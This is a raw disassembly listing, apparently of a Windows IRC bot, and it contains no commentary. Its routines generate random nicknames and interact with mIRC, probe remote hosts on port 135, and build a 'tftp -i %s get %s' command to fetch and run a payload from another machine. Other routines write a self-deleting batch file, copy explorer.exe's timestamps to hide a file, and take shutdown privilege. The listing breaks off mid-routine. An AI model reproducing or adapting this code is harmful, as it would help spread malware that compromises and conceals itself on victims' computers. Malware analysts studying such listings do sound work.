fild dword ptr [ebp+var_18+4]
fmul dbl_4374C0
call sub_41CEBC
push off_44EAE8[eax*4]
lea eax, [ebp+var_40]
push eax
call sub_41C300
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
push edi
call sub_41C400
add esp, 10h
test eax, eax
jnz short loc_415834
movsx eax, [ebp+var_40]
push eax
push edi
call sub_41C400
pop ecx
test eax, eax
pop ecx
jnz short loc_415834
call sub_41B850
mov dword ptr [ebp+var_18+4], eax
dec esi
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], esi
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4374C8
call sub_41CEBC
cmp eax, 1
jnz short loc_415834
push edi
call sub_418D00
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-8]
call sub_41B850
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-8]
fmul dbl_4374C8
call sub_41CEBC
mov al, byte ptr a__2[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_415834: ; CODE XREF: sub_4156B7+111j
; sub_4156B7+122j ...
push [ebp+var_C]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41C7A0
add esp, 0Ch
loc_415847: ; CODE XREF: sub_4156B7+D0j
lea eax, [ebp+var_2C]
push eax
call sub_418D00
mov esi, eax
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
mov [ebp+var_4], esi
call sub_41E170
pop ecx
test eax, eax
pop ecx
jnz loc_415AAF
and [ebp+var_C], eax
movsx eax, byte ptr [ebx-1]
push eax
push edi
call sub_41C400
pop ecx
test eax, eax
pop ecx
jnz loc_4159A6
call sub_41B850
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4374C8
call sub_41CEBC
cmp esi, 3
jz short loc_4158B5
cmp eax, 1
jnz loc_4159A6
loc_4158B5: ; CODE XREF: sub_4156B7+1F3j
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_4158F7
push edi
call sub_418D00
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41B850
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4374C8
call sub_41CEBC
mov al, byte ptr a__2[eax] ; "-|`_\\{[]}"
mov [ebx], al
jmp short loc_415913
; ---------------------------------------------------------------------------
loc_4158F7: ; CODE XREF: sub_4156B7+207j
call sub_41B850
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4374B8
call sub_41CEBC
mov cl, 41h
sub cl, al
mov [ebx], cl
loc_415913: ; CODE XREF: sub_4156B7+23Ej
push 1
inc esi
pop ebx
mov [ebp+var_4], esi
mov [ebp+var_C], ebx
call sub_41B850
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4374B0
call sub_41CEBC
cmp esi, 3
jz short loc_41593C
cmp eax, ebx
jnz short loc_4159A6
loc_41593C: ; CODE XREF: sub_4156B7+27Fj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_415981
push edi
call sub_418D00
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41B850
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4374C8
call sub_41CEBC
mov al, byte ptr a__2[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_41599F
; ---------------------------------------------------------------------------
loc_415981: ; CODE XREF: sub_4156B7+28Fj
call sub_41B850
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4374B8
call sub_41CEBC
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_41599F: ; CODE XREF: sub_4156B7+2C8j
inc esi
mov [ebp+var_C], ebx
mov [ebp+var_4], esi
loc_4159A6: ; CODE XREF: sub_4156B7+1C9j
; sub_4156B7+1F8j ...
cmp esi, 6
jge loc_415A2F
cmp esi, 5
jge short loc_4159C7
call sub_41B850
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4374D0
jmp short loc_4159E5
; ---------------------------------------------------------------------------
loc_4159C7: ; CODE XREF: sub_4156B7+2FBj
call sub_41B850
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4374C8
loc_4159E5: ; CODE XREF: sub_4156B7+30Ej
call sub_41CEBC
test eax, eax
jnz short loc_415A08
call sub_41B850
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4374A8
call sub_41CEBC
mov cl, 30h
jmp short loc_415A25
; ---------------------------------------------------------------------------
loc_415A08: ; CODE XREF: sub_4156B7+335j
cmp eax, 1
jnz short loc_415A2F
call sub_41B850
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4374B8
call sub_41CEBC
mov cl, 41h
loc_415A25: ; CODE XREF: sub_4156B7+34Fj
sub cl, al
mov [ebp+esi+var_2C], cl
inc esi
mov [ebp+var_4], esi
loc_415A2F: ; CODE XREF: sub_4156B7+2F2j
; sub_4156B7+354j
cmp [ebp+var_C], 2
jge short loc_415AAF
call sub_41B850
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4374C8
call sub_41CEBC
cmp eax, 1
jnz short loc_415AAF
call sub_41B850
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4374A8
call sub_41CEBC
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2C], cl
call sub_41B850
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4374A0
call sub_41CEBC
cmp eax, 1
jnz short loc_415AAF
cmp [ebp+var_C], eax
jge short loc_415AAF
call sub_41B850
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_437498
call sub_41CEBC
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_415AAF: ; CODE XREF: sub_4156B7+1B1j
; sub_4156B7+37Cj ...
lea eax, [ebp+var_2C]
push 14h
push eax
push [ebp+arg_0]
call sub_41B1F0
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_4156B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415AC8 proc near ; CODE XREF: .nsp0:00415C25p
; .nsp0:00415C4Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_415AF6
loc_415AD9: ; CODE XREF: sub_415AC8+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41E490
add esp, 0Ch
test eax, eax
jz short loc_415AFC
inc esi
cmp esi, edi
jl short loc_415AD9
loc_415AF6: ; CODE XREF: sub_415AC8+Fj
xor al, al
loc_415AF8: ; CODE XREF: sub_415AC8+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_415AFC: ; CODE XREF: sub_415AC8+27j
mov al, 1
jmp short loc_415AF8
sub_415AC8 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 2010h
call sub_41BC60
mov eax, [ebp+0Ch]
push esi
dec eax
push edi
jz short loc_415B41
dec eax
jz short loc_415B1F
dec eax
loc_415B19: ; CODE XREF: .nsp0:00415B57j
xor eax, eax
loc_415B1B: ; CODE XREF: .nsp0:00415B3Fj
; .nsp0:00415C69j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_415B1F: ; CODE XREF: .nsp0:00415B16j
push 3
push 1388h
push dword ptr [ebp+8]
call dword_4E08DC
push eax
call sub_40B786
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_415B1B
; ---------------------------------------------------------------------------
loc_415B41: ; CODE XREF: .nsp0:00415B13j
push 6
push 1
push 2
call dword_4E091C
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+0Ch], esi
jz short loc_415B19
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp-10h]
push ebx
push eax
call sub_41B190
add esp, 0Ch
mov word ptr [ebp-10h], 2
push 87h
call dword_4E08A0
push dword ptr [ebp+8]
mov [ebp-0Eh], ax
call sub_409EFD
pop ecx
mov [ebp-0Ch], eax
lea eax, [ebp-10h]
push 10h
push eax
push esi
call dword_4E084C
cmp eax, edi
jz loc_415C5D
push ebx
push 48h
push offset dword_44F4D4
push esi
call dword_4E08EC
cmp eax, edi
jz loc_415C5D
mov esi, 2000h
push ebx
lea eax, [ebp-2010h]
push esi
push eax
push dword ptr [ebp+0Ch]
call dword_4E08B8
cmp eax, edi
jz loc_415C5D
cmp byte ptr [ebp-200Eh], 0Ch
jnz short loc_415C5D
push ebx
push 18h
push offset dword_44F520
push dword ptr [ebp+0Ch]
call dword_4E08EC
cmp eax, edi
jz short loc_415C5D
push ebx
lea eax, [ebp-2010h]
push esi
push eax
push dword ptr [ebp+0Ch]
call dword_4E08B8
mov esi, eax
cmp esi, edi
jz short loc_415C5D
cmp byte ptr [ebp-200Eh], 2
jnz short loc_415C5D
push 10h
push offset loc_44F53C
lea eax, [ebp-2010h]
push esi
push eax
call sub_415AC8
add esp, 10h
test al, al
jz short loc_415C3D
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_415C5D
; ---------------------------------------------------------------------------
loc_415C3D: ; CODE XREF: .nsp0:00415C2Fj
push 10h
push offset dword_44F550
lea eax, [ebp-2010h]
push esi
push eax
call sub_415AC8
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_415C5D: ; CODE XREF: .nsp0:00415B9Bj
; .nsp0:00415BB2j ...
push dword ptr [ebp+0Ch]
call dword_4E0934
mov eax, ebx
pop ebx
jmp loc_415B1B
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415C6E proc near ; CODE XREF: sub_401CC1+932p
; sub_401CC1+96Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_415CF9
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_415CF9
cmp [ebp+arg_8], esi
jz short loc_415CF9
cmp byte ptr [eax], 0
jz short loc_415CF9
push ebx
push edi
call sub_435BC0
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_415CF4
push [ebp+arg_4]
push edi
call sub_41B890
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_415CED
sub eax, edi
push eax
push edi
push ebx
call sub_41B1F0
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_418D00
push eax
push [ebp+arg_8]
push ebx
call sub_41C7A0
push [ebp+arg_4]
call sub_418D00
add eax, esi
push eax
push ebx
call sub_41C310
push ebx
push edi
call sub_41C300
add esp, 30h
mov esi, edi
loc_415CED: ; CODE XREF: sub_415C6E+3Cj
push ebx
call sub_419940
pop ecx
loc_415CF4: ; CODE XREF: sub_415C6E+2Bj
mov eax, esi
pop ebx
jmp short loc_415CFB
; ---------------------------------------------------------------------------
loc_415CF9: ; CODE XREF: sub_415C6E+Cj
; sub_415C6E+13j ...
xor eax, eax
loc_415CFB: ; CODE XREF: sub_415C6E+89j
pop edi
pop esi
pop ebp
retn
sub_415C6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415CFF proc near ; CODE XREF: sub_401B49+E9p
; sub_40FD11+F4p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_41B190
mov esi, [ebp+arg_0]
push esi
call sub_418D00
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_415D35
or eax, 0FFFFFFFFh
jmp short loc_415DA8
; ---------------------------------------------------------------------------
loc_415D35: ; CODE XREF: sub_415CFF+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_415D57
loc_415D41: ; CODE XREF: sub_415CFF+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_415D4E
cmp dl, 0Dh
jnz short loc_415D52
loc_415D4E: ; CODE XREF: sub_415CFF+48j
and byte ptr [ecx+esi], 0
loc_415D52: ; CODE XREF: sub_415CFF+4Dj
inc ecx
cmp ecx, eax
jl short loc_415D41
loc_415D57: ; CODE XREF: sub_415CFF+40j
xor edx, edx
push edi
test eax, eax
jle short loc_415D88
lea edi, [ebp+var_7CC]
loc_415D64: ; CODE XREF: sub_415CFF+87j
cmp byte ptr [edx+esi], 0
jnz short loc_415D83
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_415D83
cmp ebx, 1F4h
jge short loc_415D88
mov [edi], ecx
inc ebx
add edi, 4
loc_415D83: ; CODE XREF: sub_415CFF+69j
; sub_415CFF+74j
inc edx
cmp edx, eax
jl short loc_415D64
loc_415D88: ; CODE XREF: sub_415CFF+5Dj
; sub_415CFF+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_415DA6
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call near ptr sub_41C8D0
add esp, 0Ch
loc_415DA6: ; CODE XREF: sub_415CFF+8Ej
mov eax, ebx
loc_415DA8: ; CODE XREF: sub_415CFF+34j
pop esi
pop ebx
leave
retn
sub_415CFF endp
; =============== S U B R O U T I N E =======================================
sub_415DAC proc near ; CODE XREF: sub_415E06+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_415DE5
push ebx
mov ebx, edi
loc_415DC9: ; CODE XREF: sub_415DAC+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_415DE8
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_415DC9
pop ebx
loc_415DE5: ; CODE XREF: sub_415DAC+18j
pop edi
pop esi
retn
sub_415DAC endp
; =============== S U B R O U T I N E =======================================
sub_415DE8 proc near ; CODE XREF: sub_415DAC+25p
; sub_415E06+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_41E550
cmp al, 61h
pop ecx
jl short loc_415E03
cmp al, 7Ah
jg short loc_415E03
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_415E03: ; CODE XREF: sub_415DE8+Ej
; sub_415DE8+12j
xor eax, eax
retn
sub_415DE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415E06 proc near ; CODE XREF: .nsp0:00414693p
; .nsp0:00414718p ...
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_41BC60
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_418D00
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_418D00
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_415DAC
add esp, 14h
dec esi
mov edi, esi
loc_415E44: ; CODE XREF: sub_415E06+B6j
test esi, esi
jle short loc_415EC2
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41E550
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_41E550
pop ecx
cmp eax, ebx
pop ecx
jz short loc_415EBA
loc_415E6A: ; CODE XREF: sub_415E06+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_415DE8
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_415E8B
mov eax, ecx
loc_415E8B: ; CODE XREF: sub_415E06+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_415EBE
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41E550
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_41E550
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_415E6A
loc_415EBA: ; CODE XREF: sub_415E06+62j
dec edi
dec esi
jmp short loc_415E44
; ---------------------------------------------------------------------------
loc_415EBE: ; CODE XREF: sub_415E06+8Aj
xor eax, eax
jmp short loc_415EC7
; ---------------------------------------------------------------------------
loc_415EC2: ; CODE XREF: sub_415E06+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_415EC7: ; CODE XREF: sub_415E06+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_415E06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415ECC proc near ; CODE XREF: sub_401CC1+5F54p
; sub_401CC1+6B17p
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call dword_4F1348 ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call dword_4F13F4 ; FormatMessageA
lea eax, [ebp+var_100]
loc_415F05: ; CODE XREF: sub_415ECC+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_415F11
cmp cl, 9
jnz short loc_415F14
loc_415F11: ; CODE XREF: sub_415ECC+3Ej
inc eax
jmp short loc_415F05
; ---------------------------------------------------------------------------
loc_415F14: ; CODE XREF: sub_415ECC+43j
; sub_415ECC+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_415F2E
mov cl, [eax]
cmp cl, 2Eh
jz short loc_415F14
cmp cl, 21h
jl short loc_415F14
loc_415F2E: ; CODE XREF: sub_415ECC+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4EED04
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41B910
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_415ECC endp
; =============== S U B R O U T I N E =======================================
sub_415F56 proc near ; CODE XREF: sub_401CC1+1FFFp
push esi
push 0
call dword_4E0870
test eax, eax
jz short loc_415F8D
push 1
call dword_4E0890
mov esi, eax
test esi, esi
jz short loc_415F8D
push edi
push esi
call dword_4F13FC ; GlobalLock
push esi
mov edi, eax
call dword_4F13F8 ; GlobalUnlock
call dword_4E08F0
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_415F8D: ; CODE XREF: sub_415F56+Bj
; sub_415F56+19j
xor eax, eax
pop esi
retn
sub_415F56 endp
; =============== S U B R O U T I N E =======================================
sub_415F91 proc near ; CODE XREF: sub_401CC1+6A8Dp
arg_0 = dword ptr 4
push ebp
push esi
xor esi, esi
push esi
push offset aMirc_2 ; "mIRC"
call dword_4E08AC
mov ebp, eax
cmp ebp, esi
jz short loc_416011
push ebx
push edi
push offset aMirc_3 ; "mIRC"
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call dword_4F1408 ; CreateFileMappingA
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call dword_4F1404 ; MapViewOfFile
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_41B740
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4E08F8
push esi
push 1
push 4C9h
push ebp
call dword_4E08F8
push ebx
call dword_4F1400 ; UnmapViewOfFile
push edi
call dword_4F1324 ; CloseHandle
push 1
pop eax
pop edi
pop ebx
jmp short loc_416013
; ---------------------------------------------------------------------------
loc_416011: ; CODE XREF: sub_415F91+14j
xor eax, eax
loc_416013: ; CODE XREF: sub_415F91+7Ej
pop esi
pop ebp
retn
sub_415F91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416016 proc near ; CODE XREF: sub_40141B+20Fp
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_4E0958
test eax, eax
jz short loc_4160B5
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_4F13A8
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_4160B5
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call dword_4F1410 ; GetFileTime
push ebx
mov ebx, dword_4F1324
call ebx ; CloseHandle
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4160B5
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call dword_4F140C ; SetFileTime
push esi
call ebx ; CloseHandle
loc_4160B5: ; CODE XREF: sub_416016+2Aj
; sub_416016+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_416016 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 454h
push esi
xor esi, esi
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_41B190
push 44h
lea eax, [ebp-54h]
push esi
push eax
call sub_41B190
push dword ptr [ebp+0Ch]
lea eax, [ebp-454h]
mov dword ptr [ebp-54h], 44h
mov dword ptr [ebp-28h], 1
push dword ptr [ebp+8]
mov [ebp-24h], si
push offset aSS_5 ; "%s %s"
push 400h
push eax
call sub_41B910
add esp, 2Ch
lea eax, [ebp-10h]
push eax
lea eax, [ebp-54h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-454h]
push esi
push eax
push dword ptr [ebp+8]
call dword_4F1328 ; CreateProcessA
neg eax
sbb eax, eax
pop esi
and eax, [ebp-8]
leave
retn
; =============== S U B R O U T I N E =======================================
sub_416138 proc near ; CODE XREF: sub_401CC1+1339p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_417572
pop ecx
pop ecx
push 50005h
push 6
call dword_4E07F0
neg eax
sbb eax, eax
neg eax
retn
sub_416138 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41615A proc near ; CODE XREF: sub_401CC1+2291p
; sub_414A1D+472p
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_43A090, esi
push edi
jz short loc_41617E
cmp dword_4E096C, esi
jnz short loc_41617E
push esi
call sub_401000
pop ecx
loc_41617E: ; CODE XREF: sub_41615A+13j
; sub_41615A+1Bj
call sub_40A9C6
lea eax, [ebp+var_764]
push eax
push 400h
call dword_4F136C ; GetTempPathA
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_41B740
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call dword_4F13A8 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_4162DE
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_41B740
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call dword_4F139C ; WriteFile
push edi
call dword_4F1324 ; CloseHandle
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41B190
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_41B190
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset dword_4EEF08
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call dword_4F1358 ; GetModuleHandleA
push eax
call dword_4F132C ; GetModuleFileNameA
lea eax, [ebp+var_15C]
push eax
call dword_4F1354 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_416286
lea eax, [ebp+var_15C]
push 80h
push eax
call dword_4F1350 ; SetFileAttributesA
loc_416286: ; CODE XREF: sub_41615A+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_41B740
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call dword_4F1414 ; ExpandEnvironmentStringsA
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call dword_4F1328 ; CreateProcessA
loc_4162DE: ; CODE XREF: sub_41615A+72j
pop edi
pop esi
leave
retn
sub_41615A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4162E2 proc near ; CODE XREF: sub_401CC1+68A9p
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp+var_94]
push edi
push eax
call sub_41B190
add esp, 0Ch
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call dword_4F1384 ; GetVersionExA
cmp [ebp+var_84], 2
jnz short loc_416378
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4E082C
push edi
push eax
call dword_4E0838
test eax, eax
jz short loc_41636A
push [ebp+arg_10]
push offset dword_44F61C
loc_416343: ; CODE XREF: sub_4162E2+94j
lea eax, [ebp+var_294]
push eax
call sub_41B740
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 20h
jmp short loc_4163A2
; ---------------------------------------------------------------------------
loc_41636A: ; CODE XREF: sub_4162E2+57j
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_44F638
jmp short loc_416343
; ---------------------------------------------------------------------------
loc_416378: ; CODE XREF: sub_4162E2+3Fj
lea eax, [ebp+var_294]
push offset unk_44F660
push eax
call sub_41B740
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 1Ch
loc_4163A2: ; CODE XREF: sub_4162E2+86j
pop edi
leave
retn
sub_4162E2 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp-10h]
push edi
push eax
call sub_41B190
add esp, 0Ch
lea eax, [ebp+0Ch]
mov word ptr [ebp-10h], 2
push eax
call dword_4E08DC
push dword ptr [ebp+0C4h]
mov [ebp-0Ch], eax
call dword_4E08A0
push edi
push 1
push 2
mov [ebp-0Eh], ax
call dword_4E091C
mov esi, eax
cmp esi, 0FFFFFFFFh
mov [ebp+0C4h], esi
jz loc_4164A8
lea eax, [ebp-10h]
push 10h
push eax
push esi
call dword_4E084C
cmp eax, 0FFFFFFFFh
jz loc_4164A8
mov ebx, 400h
push edi
lea eax, [ebp-5A0h]
push ebx
push eax
push esi
call dword_4E08B8
mov esi, offset byte_43A0E8
push esi
push esi
push dword ptr [ebp+8]
call sub_40A019
pop ecx
mov edi, 190h
push eax
push offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n"
lea eax, [ebp-1A0h]
push edi
push eax
call sub_41B910
movzx eax, word ptr dword_4E05C8
